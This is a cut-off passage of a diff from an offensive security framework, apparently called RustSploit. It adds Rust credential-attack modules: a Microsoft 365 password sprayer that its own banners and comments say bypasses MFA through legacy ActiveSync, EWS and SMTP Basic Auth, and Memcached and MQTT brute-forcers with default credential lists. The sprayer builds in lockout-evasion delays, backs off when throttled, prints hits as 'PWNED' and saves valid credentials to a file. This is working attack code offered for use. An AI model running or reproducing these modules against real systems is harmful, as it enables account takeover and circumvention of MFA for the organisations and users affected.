||||
// while still allowing writes via `get_mut()` (since `&mut TlsStream`
|
||||
// implements both `Read` and `Write`).
|
||||
let mut tls_reader = BufReader::new(&mut tls_stream);
|
||||
|
||||
// EHLO again over TLS
|
||||
std::io::Write::write_all(tls_reader.get_mut(), b"EHLO spray\r\n")?;
|
||||
std::io::Write::flush(tls_reader.get_mut())?;
|
||||
|
||||
loop {
|
||||
let mut resp = String::new();
|
||||
tls_reader.read_line(&mut resp)?;
|
||||
if resp.starts_with("250 ") {
|
||||
break;
|
||||
}
|
||||
if !resp.starts_with("250") {
|
||||
return Err(anyhow!("Unexpected post-TLS EHLO response"));
|
||||
}
|
||||
}
|
||||
|
||||
// AUTH LOGIN
|
||||
std::io::Write::write_all(tls_reader.get_mut(), b"AUTH LOGIN\r\n")?;
|
||||
std::io::Write::flush(tls_reader.get_mut())?;
|
||||
|
||||
let mut prompt = String::new();
|
||||
tls_reader.read_line(&mut prompt)?;
|
||||
if !prompt.starts_with("334") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Send username (base64)
|
||||
let user_b64 = general_purpose::STANDARD.encode(username.as_bytes());
|
||||
std::io::Write::write_all(tls_reader.get_mut(), format!("{}\r\n", user_b64).as_bytes())?;
|
||||
std::io::Write::flush(tls_reader.get_mut())?;
|
||||
|
||||
let mut prompt2 = String::new();
|
||||
tls_reader.read_line(&mut prompt2)?;
|
||||
if !prompt2.starts_with("334") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Send password (base64)
|
||||
let pass_b64 = general_purpose::STANDARD.encode(password.as_bytes());
|
||||
std::io::Write::write_all(tls_reader.get_mut(), format!("{}\r\n", pass_b64).as_bytes())?;
|
||||
std::io::Write::flush(tls_reader.get_mut())?;
|
||||
|
||||
let mut auth_resp = String::new();
|
||||
tls_reader.read_line(&mut auth_resp)?;
|
||||
|
||||
// 235 = success
|
||||
if auth_resp.starts_with("235") {
|
||||
let _ = std::io::Write::write_all(tls_reader.get_mut(), b"QUIT\r\n");
|
||||
let _ = std::io::Write::flush(tls_reader.get_mut());
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Display
|
||||
// ============================================================================
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() {
|
||||
return;
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔══════════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ M365 ActiveSync/EWS Password Spray (MFA Bypass) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Basic Auth on legacy protocols bypasses MFA on managed tenants ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Strategy: 1 password per round across all accounts ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Targets: ActiveSync, EWS, SMTP Auth ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚══════════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Run
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("m365_activesync_spray requires a single-host target")?;
|
||||
|
||||
// This module sprays the fixed Exchange Online endpoints
|
||||
// (outlook.office365.com / smtp.office365.com) regardless of which host
|
||||
// it is pointed at. Under the universal per-host scheduler fan-out, a
|
||||
// CIDR/file/multi target is expanded into one `run()` call per host — so
|
||||
// without this gate the ENTIRE user×password spray against Microsoft 365
|
||||
// would be repeated once for every host in the input, wasting attempts,
|
||||
// multiplying lockout risk on real M365 accounts, and producing duplicate
|
||||
// findings. Only proceed when the resolved single target is actually an
|
||||
// Exchange Online host; for any other host (e.g. an unrelated address
|
||||
// pulled in by fan-out) skip cleanly so the spray runs exactly once.
|
||||
// Extract the bare hostname from the resolved single target, tolerating
|
||||
// optional `user@`, `[ipv6]`, and `:port` decorations.
|
||||
let mut host = target;
|
||||
if let Some((_, rest)) = host.rsplit_once('@') {
|
||||
host = rest;
|
||||
}
|
||||
if let Some(rest) = host.strip_prefix('[') {
|
||||
// `[ipv6]` or `[ipv6]:port` — take the bracketed portion.
|
||||
host = rest.split(']').next().unwrap_or(rest);
|
||||
} else if let Some((h, _)) = host.rsplit_once(':') {
|
||||
// `host:port` — strip the trailing port.
|
||||
host = h;
|
||||
}
|
||||
let host = host.trim_end_matches('.').to_ascii_lowercase();
|
||||
let is_m365_endpoint = host == "outlook.office365.com"
|
||||
|| host == "smtp.office365.com"
|
||||
|| host.ends_with(".office365.com")
|
||||
|| host.ends_with(".outlook.com")
|
||||
|| host.ends_with(".onmicrosoft.com");
|
||||
if !is_m365_endpoint {
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
outcome.findings.push(Finding {
|
||||
target: target.to_string(),
|
||||
kind: FindingKind::Note,
|
||||
message: format!(
|
||||
"Skipped M365 spray: target '{}' is not an Exchange Online endpoint. \
|
||||
Point this module at outlook.office365.com / smtp.office365.com (or a \
|
||||
tenant host) to run the spray exactly once.",
|
||||
target
|
||||
),
|
||||
data: None,
|
||||
});
|
||||
if !ctx.batch_mode {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Skipping {} — not an M365/Exchange Online endpoint (no per-host re-spray).",
|
||||
target
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
// --- Configuration prompts ---
|
||||
let users_file = cfg_prompt_existing_file("user_list", "User list file (email addresses)").await?;
|
||||
let pass_file = cfg_prompt_existing_file("password_list", "Password list file").await?;
|
||||
|
||||
let delay_secs: u64 = cfg_prompt_int_range(
|
||||
"delay_secs",
|
||||
"Delay between rounds (seconds, lockout evasion)",
|
||||
DEFAULT_DELAY_SECS as i64,
|
||||
0,
|
||||
300,
|
||||
)
|
||||
.await? as u64;
|
||||
|
||||
let concurrency: usize = cfg_prompt_int_range(
|
||||
"concurrency",
|
||||
"Max concurrent connections per round",
|
||||
DEFAULT_CONCURRENCY as i64,
|
||||
1,
|
||||
100,
|
||||
)
|
||||
.await? as usize;
|
||||
|
||||
let mode_str = cfg_prompt_default(
|
||||
"spray_mode",
|
||||
"Spray mode (activesync/ews/smtp/all)",
|
||||
"all",
|
||||
)
|
||||
.await?;
|
||||
let mode = SprayMode::parse(&mode_str);
|
||||
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output file for valid credentials",
|
||||
"m365_spray_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
// --- Load wordlists ---
|
||||
let users = load_lines(&users_file)?;
|
||||
let passwords = load_lines(&pass_file)?;
|
||||
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("User list is empty"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("Password list is empty"));
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"[*] Loaded {} users and {} passwords",
|
||||
users.len().to_string().bold(),
|
||||
passwords.len().to_string().bold()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"[*] Mode: {:?} | Concurrency: {} | Delay between rounds: {}s",
|
||||
mode,
|
||||
concurrency,
|
||||
delay_secs
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Build HTTP client ---
|
||||
let client = build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// --- Spray execution ---
|
||||
// Strategy: iterate passwords (outer), spray each password across all users (inner)
|
||||
let mut hits: Vec<SprayHit> = Vec::new();
|
||||
let total_rounds = passwords.len();
|
||||
|
||||
for (round_idx, password) in passwords.iter().enumerate() {
|
||||
if ctx.is_cancelled() {
|
||||
crate::mprintln!("{}", "[!] Cancelled by operator".yellow());
|
||||
break;
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Round {}/{} - Spraying password: {}",
|
||||
round_idx + 1,
|
||||
total_rounds,
|
||||
password
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
// Spray this password across all users with concurrency control
|
||||
let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
// Set by any worker that sees Azure AD throttling, so we back off before
|
||||
// the next password round instead of hammering through false negatives.
|
||||
let throttled = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for user in &users {
|
||||
if ctx.is_cancelled() {
|
||||
break;
|
||||
}
|
||||
|
||||
let sem = semaphore.clone();
|
||||
let throttled = throttled.clone();
|
||||
let client = client.clone();
|
||||
let user = user.clone();
|
||||
let password = password.clone();
|
||||
let mode = mode;
|
||||
let verbose = verbose;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.ok()?;
|
||||
let mut round_hits: Vec<SprayHit> = Vec::new();
|
||||
|
||||
// --- ActiveSync ---
|
||||
if mode == SprayMode::ActiveSync || mode == SprayMode::All {
|
||||
match try_http_basic(&client, ACTIVESYNC_URL, &user, &password).await {
|
||||
Ok((status, diag)) => {
|
||||
if is_throttled(status, &diag) {
|
||||
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
|
||||
}
|
||||
match credential_is_valid(status, &diag) {
|
||||
Some(reason) => {
|
||||
round_hits.push(SprayHit {
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
endpoint: "ActiveSync".to_string(),
|
||||
status,
|
||||
detail: reason.to_string(),
|
||||
});
|
||||
}
|
||||
None if verbose => {
|
||||
crate::mprintln!(
|
||||
" [{}] {} @ ActiveSync: {} ({})",
|
||||
status,
|
||||
user,
|
||||
classify_http_response(status, &diag),
|
||||
diag.clone().unwrap_or_default()
|
||||
);
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
// Warn on lockout/block
|
||||
if status == 403 || status == 456 {
|
||||
crate::mprintln!(
|
||||
" {}",
|
||||
format!(
|
||||
"[!] {} - {} ({})",
|
||||
user,
|
||||
classify_http_response(status, &diag),
|
||||
diag.unwrap_or_default()
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
if verbose {
|
||||
crate::mprintln!(
|
||||
" [-] {} @ ActiveSync error: {}",
|
||||
user,
|
||||
e
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- EWS ---
|
||||
if mode == SprayMode::Ews || mode == SprayMode::All {
|
||||
match try_http_basic(&client, EWS_URL, &user, &password).await {
|
||||
Ok((status, diag)) => {
|
||||
if is_throttled(status, &diag) {
|
||||
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
|
||||
}
|
||||
match credential_is_valid(status, &diag) {
|
||||
Some(reason) => {
|
||||
round_hits.push(SprayHit {
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
endpoint: "EWS".to_string(),
|
||||
status,
|
||||
detail: reason.to_string(),
|
||||
});
|
||||
}
|
||||
None if verbose => {
|
||||
crate::mprintln!(
|
||||
" [{}] {} @ EWS: {} ({})",
|
||||
status,
|
||||
user,
|
||||
classify_http_response(status, &diag),
|
||||
diag.clone().unwrap_or_default()
|
||||
);
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
if status == 403 || status == 456 {
|
||||
crate::mprintln!(
|
||||
" {}",
|
||||
format!(
|
||||
"[!] {} - {} ({})",
|
||||
user,
|
||||
classify_http_response(status, &diag),
|
||||
diag.unwrap_or_default()
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
if verbose {
|
||||
crate::mprintln!(" [-] {} @ EWS error: {}", user, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- SMTP ---
|
||||
if mode == SprayMode::Smtp || mode == SprayMode::All {
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
let smtp_result = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_auth(&user_clone, &pass_clone, DEFAULT_TIMEOUT_SECS)
|
||||
})
|
||||
.await;
|
||||
|
||||
match smtp_result {
|
||||
Ok(Ok(true)) => {
|
||||
round_hits.push(SprayHit {
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
endpoint: "SMTP".to_string(),
|
||||
status: 235,
|
||||
detail: "VALID CREDENTIALS - SMTP Auth (no lockout on this protocol)".to_string(),
|
||||
});
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
if verbose {
|
||||
crate::mprintln!(" [AUTH_FAIL] {} @ SMTP", user);
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
if verbose {
|
||||
crate::mprintln!(" [-] {} @ SMTP error: {}", user, e);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
if verbose {
|
||||
crate::mprintln!(" [-] {} @ SMTP task error: {}", user, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Some(round_hits)
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Collect results from this round
|
||||
for handle in handles {
|
||||
if let Ok(Some(round_hits)) = handle.await {
|
||||
for hit in round_hits {
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[PWNED] {}:{} via {} - {}",
|
||||
hit.username, hit.password, hit.endpoint, hit.detail
|
||||
)
|
||||
.red()
|
||||
.bold()
|
||||
);
|
||||
|
||||
// Store credential
|
||||
let _id = crate::cred_store::store_credential(crate::cred_store::NewCred {
|
||||
host: "outlook.office365.com",
|
||||
port: if hit.endpoint == "SMTP" { SMTP_PORT } else { 443 },
|
||||
service: &hit.endpoint.to_lowercase(),
|
||||
username: &hit.username,
|
||||
secret: &hit.password,
|
||||
cred_type: crate::cred_store::CredType::Password,
|
||||
source_module: "creds/generic/m365_activesync_spray",
|
||||
})
|
||||
.await;
|
||||
|
||||
hits.push(hit);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Back off if Azure AD throttled us this round (429/503/ESTS throttle).
|
||||
if throttled.load(std::sync::atomic::Ordering::Relaxed) && round_idx + 1 < total_rounds {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[!] Throttling detected — backing off 60s before the next password round".yellow()
|
||||
);
|
||||
tokio::time::sleep(Duration::from_secs(60)).await;
|
||||
}
|
||||
|
||||
// Delay between rounds (lockout evasion)
|
||||
if round_idx + 1 < total_rounds && delay_secs > 0 {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Waiting {}s before next round (lockout evasion)...", delay_secs).dimmed()
|
||||
);
|
||||
tokio::time::sleep(Duration::from_secs(delay_secs)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Results Summary ---
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Spray Complete ===".cyan().bold());
|
||||
crate::mprintln!(
|
||||
"[*] Valid credentials found: {}",
|
||||
hits.len().to_string().green().bold()
|
||||
);
|
||||
|
||||
if !hits.is_empty() {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[!] NOTE: These credentials bypass MFA via legacy Basic Auth!".red().bold());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[!] The tenant has Basic Auth enabled on legacy protocols (ActiveSync/EWS/SMTP)."
|
||||
.red()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
for hit in &hits {
|
||||
crate::mprintln!(
|
||||
" {} | {}:{} | {} | {}",
|
||||
hit.endpoint.bold(),
|
||||
hit.username,
|
||||
hit.password,
|
||||
hit.status,
|
||||
hit.detail
|
||||
);
|
||||
}
|
||||
|
||||
// Save to file
|
||||
save_results(&hits, &output_file)?;
|
||||
}
|
||||
|
||||
// --- Build outcome ---
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
for hit in &hits {
|
||||
outcome.findings.push(Finding {
|
||||
target: "outlook.office365.com".to_string(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!(
|
||||
"M365 credential valid (MFA BYPASSED via legacy auth): {}:{} [{}]",
|
||||
hit.username, hit.password, hit.endpoint
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"username": hit.username,
|
||||
"password": hit.password,
|
||||
"endpoint": hit.endpoint,
|
||||
"status_code": hit.status,
|
||||
"detail": hit.detail,
|
||||
"mfa_bypassed": true,
|
||||
"service": "m365_legacy_auth",
|
||||
"port": if hit.endpoint == "SMTP" { SMTP_PORT } else { 443 },
|
||||
})),
|
||||
});
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Save Results
|
||||
// ============================================================================
|
||||
|
||||
fn save_results(hits: &[SprayHit], path: &str) -> Result<()> {
|
||||
use std::io::Write;
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
let mut file = opts.open(path).context("Failed to open output file")?;
|
||||
|
||||
writeln!(file, "# M365 ActiveSync/EWS Password Spray Results")?;
|
||||
writeln!(file, "# Generated by RustSploit")?;
|
||||
writeln!(file, "# WARNING: These credentials bypass MFA via legacy Basic Auth")?;
|
||||
writeln!(file, "# Total: {} valid credentials found", hits.len())?;
|
||||
writeln!(file)?;
|
||||
writeln!(file, "# Format: endpoint | username:password | status | detail")?;
|
||||
|
||||
for hit in hits {
|
||||
writeln!(
|
||||
file,
|
||||
"{} | {}:{} | {} | {}",
|
||||
hit.endpoint, hit.username, hit.password, hit.status, hit.detail
|
||||
)?;
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Registration
|
||||
// ============================================================================
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "creds/generic/m365_activesync_spray", native);
|
||||
@@ -0,0 +1,145 @@
|
||||
//! Memcached SASL PLAIN authentication probe over the binary protocol.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
const DEFAULT_PORT: u16 = 11211;
|
||||
|
||||
const DEFAULTS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("memcached", "memcached"),
|
||||
("root", "root"),
|
||||
("user", "password"),
|
||||
];
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Memcached SASL Bruteforce".to_string(),
|
||||
description:
|
||||
"Probes Memcached SASL PLAIN auth via the binary protocol (cmd 0x21). \
|
||||
Single-target — scheduler does fan-out."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://github.com/memcached/memcached/wiki/SASLAuthProtocol".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Normal,
|
||||
default_port: Some(11211),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("memcached_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "memcached",
|
||||
default_port: DEFAULT_PORT,
|
||||
source_module: "creds/generic/memcached_bruteforce",
|
||||
defaults: DEFAULTS,
|
||||
password_only: false,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let mut stream = match crate::utils::creds_helper::connect_with_timeout(&addr, timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("connect: {e}"),
|
||||
retryable: true,
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Binary protocol header: magic(0x80) + opcode(0x21=SASL Auth)
|
||||
// + key_len(u16) + extras_len(0) + data_type(0) + reserved(0)
|
||||
// + total_body(u32) + opaque(u32) + cas(u64).
|
||||
// Body: "PLAIN" (key) + "\0user\0pass" (value).
|
||||
let mech = b"PLAIN";
|
||||
let mut value = Vec::with_capacity(2 + user.len() + pass.len());
|
||||
value.push(0);
|
||||
value.extend_from_slice(user.as_bytes());
|
||||
value.push(0);
|
||||
value.extend_from_slice(pass.as_bytes());
|
||||
|
||||
let key_len = mech.len() as u16;
|
||||
let total_body = mech.len() as u32 + value.len() as u32;
|
||||
|
||||
let mut packet = Vec::with_capacity(24 + mech.len() + value.len());
|
||||
packet.push(0x80); // request magic
|
||||
packet.push(0x21); // SASL Auth
|
||||
packet.extend_from_slice(&key_len.to_be_bytes());
|
||||
packet.push(0); // extras len
|
||||
packet.push(0); // data type
|
||||
packet.extend_from_slice(&0u16.to_be_bytes()); // reserved
|
||||
packet.extend_from_slice(&total_body.to_be_bytes());
|
||||
packet.extend_from_slice(&0u32.to_be_bytes()); // opaque
|
||||
packet.extend_from_slice(&0u64.to_be_bytes()); // cas
|
||||
packet.extend_from_slice(mech);
|
||||
packet.extend_from_slice(&value);
|
||||
|
||||
if let Err(e) = stream.write_all(&packet).await {
|
||||
return LoginResult::Error {
|
||||
message: format!("write: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
|
||||
// Read 24-byte response header.
|
||||
let mut header = [0u8; 24];
|
||||
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
||||
&mut stream,
|
||||
&mut header,
|
||||
timeout,
|
||||
)
|
||||
.await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
|
||||
// Confirm this is a RESPONSE (magic 0x81) to our SASL-Auth (opcode 0x21)
|
||||
// before trusting the status field — otherwise an unrelated/error frame whose
|
||||
// status bytes happen to be 0x0000 would be read as a successful login.
|
||||
if header[0] != 0x81 || header[1] != 0x21 {
|
||||
return LoginResult::Error {
|
||||
message: format!("unexpected memcached frame magic=0x{:02x} opcode=0x{:02x}", header[0], header[1]),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
|
||||
// status @ bytes 6..8.
|
||||
let status = u16::from_be_bytes([header[6], header[7]]);
|
||||
match status {
|
||||
0x0000 => LoginResult::Success,
|
||||
0x0020 | 0x0021 => LoginResult::AuthFailed, // auth error / further auth step required
|
||||
0x0008 => LoginResult::Error {
|
||||
// 0x0008 is "out of memory" — a transient server condition, not a
|
||||
// credential rejection; retry rather than recording a clean failure.
|
||||
message: "memcached out of memory".to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
other => LoginResult::Error {
|
||||
message: format!("unexpected status 0x{other:04x}"),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/memcached_bruteforce", native);
|
||||
@@ -1,11 +1,31 @@
|
||||
|
||||
pub mod sample_cred_check;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod couchdb_bruteforce;
|
||||
pub mod elasticsearch_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod ftp_anonymous;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod h3c_oem_kvm_bruteforce;
|
||||
pub mod h3c_redfish_session_spray;
|
||||
pub mod http_basic_bruteforce;
|
||||
pub mod imap_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
pub mod memcached_bruteforce;
|
||||
pub mod m365_activesync_spray;
|
||||
pub mod mqtt_bruteforce;
|
||||
pub mod mysql_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
pub mod postgres_bruteforce;
|
||||
pub mod proxy_bruteforce;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod redis_bruteforce;
|
||||
pub mod rtsp_bruteforce;
|
||||
pub mod sample_cred_check;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_spray;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod telnet_hose;
|
||||
pub mod vnc_bruteforce;
|
||||
|
||||
@@ -0,0 +1,156 @@
|
||||
//! MQTT v3.1.1 CONNECT credential probe.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
const DEFAULT_PORT: u16 = 1883;
|
||||
|
||||
const DEFAULTS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "public"),
|
||||
("mqtt", "mqtt"),
|
||||
("guest", "guest"),
|
||||
("user", "user"),
|
||||
];
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "MQTT Bruteforce".to_string(),
|
||||
description:
|
||||
"Tests MQTT v3.1.1 CONNECT authentication. Reads CONNACK return code to classify \
|
||||
accepted / bad-credentials / not-authorized. Single-target — scheduler does fan-out."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Normal,
|
||||
default_port: Some(1883),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("mqtt_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "mqtt",
|
||||
default_port: DEFAULT_PORT,
|
||||
source_module: "creds/generic/mqtt_bruteforce",
|
||||
defaults: DEFAULTS,
|
||||
password_only: false,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move { probe(&host, port, &user, &pass, timeout).await },
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let mut stream = match crate::utils::creds_helper::connect_with_timeout(&addr, timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("connect: {e}"),
|
||||
retryable: true,
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// CONNECT — variable header + payload.
|
||||
// Variable header: protocol name "MQTT" (2-byte len + bytes), level=4,
|
||||
// flags(0xc2 = username+password, clean session), keep-alive=60.
|
||||
let client_id = format!("rs-{}", rand::random::<u32>());
|
||||
let mut payload = Vec::new();
|
||||
push_str(&mut payload, &client_id);
|
||||
push_str(&mut payload, user);
|
||||
push_str(&mut payload, pass);
|
||||
|
||||
let mut variable = Vec::new();
|
||||
push_str(&mut variable, "MQTT");
|
||||
variable.push(4); // protocol level
|
||||
variable.push(0xc2); // username + password + clean session
|
||||
variable.extend_from_slice(&60u16.to_be_bytes()); // keep alive
|
||||
|
||||
let mut packet = Vec::new();
|
||||
packet.push(0x10); // CONNECT
|
||||
let remaining_len = variable.len() + payload.len();
|
||||
encode_remaining_length(&mut packet, remaining_len);
|
||||
packet.extend_from_slice(&variable);
|
||||
packet.extend_from_slice(&payload);
|
||||
|
||||
if let Err(e) = stream.write_all(&packet).await {
|
||||
return LoginResult::Error {
|
||||
message: format!("write CONNECT: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
|
||||
// Read CONNACK fixed header (1 byte) + remaining length (1 byte) +
|
||||
// session-present (1) + return code (1).
|
||||
let mut buf = [0u8; 4];
|
||||
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
||||
&mut stream,
|
||||
&mut buf,
|
||||
timeout,
|
||||
)
|
||||
.await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read CONNACK: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
if buf[0] != 0x20 {
|
||||
return LoginResult::Error {
|
||||
message: format!("not a CONNACK (type 0x{:02x})", buf[0]),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
match buf[3] {
|
||||
0 => LoginResult::Success,
|
||||
